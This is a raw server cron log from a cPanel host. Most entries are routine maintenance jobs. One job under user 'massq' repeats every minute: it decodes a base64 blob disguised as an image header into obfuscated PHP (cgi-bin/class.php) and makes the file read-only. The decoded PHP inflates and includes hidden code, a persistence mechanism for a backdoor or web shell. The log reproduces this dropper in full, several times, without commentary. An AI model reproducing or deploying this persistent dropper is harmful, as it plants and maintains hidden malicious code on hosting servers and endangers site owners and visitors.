Aug 30 05:53:01 server CROND[22499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:53:01 server CROND[22500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:53:01 server CROND[22501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:54:01 server CROND[23142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:54:01 server CROND[23143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:54:01 server CROND[23144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:55:01 server CROND[23526]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 05:55:01 server CROND[23527]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:55:01 server CROND[23529]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 05:55:01 server CROND[23528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:55:01 server CROND[23530]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:55:01 server CROND[23532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:55:01 server CROND[23531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:56:01 server CROND[24366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:56:01 server CROND[24367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:56:01 server CROND[24368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:57:01 server CROND[24743]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 05:57:01 server CROND[24745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:57:01 server CROND[24744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:57:01 server CROND[24746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:58:01 server CROND[25131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:58:01 server CROND[25132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:58:01 server CROND[25133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:59:01 server CROND[25501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:59:01 server CROND[25500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:59:01 server CROND[25502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:00:01 server CROND[25950]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 06:00:01 server CROND[25951]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:00:01 server CROND[25953]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Aug 30 06:00:01 server CROND[25957]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 06:00:01 server CROND[25961]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 06:00:01 server CROND[25960]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 06:00:01 server CROND[25964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:00:01 server CROND[25962]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:00:01 server CROND[25959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:00:01 server CROND[25958]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 06:00:01 server CROND[25963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:01:01 server CROND[26890]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 06:01:01 server CROND[26891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:01:01 server CROND[26892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:01:01 server CROND[26894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:01:01 server run-parts(/etc/cron.hourly)[26890]: starting 0anacron
Aug 30 06:01:01 server run-parts(/etc/cron.hourly)[26911]: finished 0anacron
Aug 30 06:02:01 server CROND[27391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:02:01 server CROND[27392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:02:01 server CROND[27393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:03:01 server CROND[27791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:03:01 server CROND[27792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:03:01 server CROND[27793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:04:01 server CROND[28245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:04:01 server CROND[28244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:04:01 server CROND[28246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
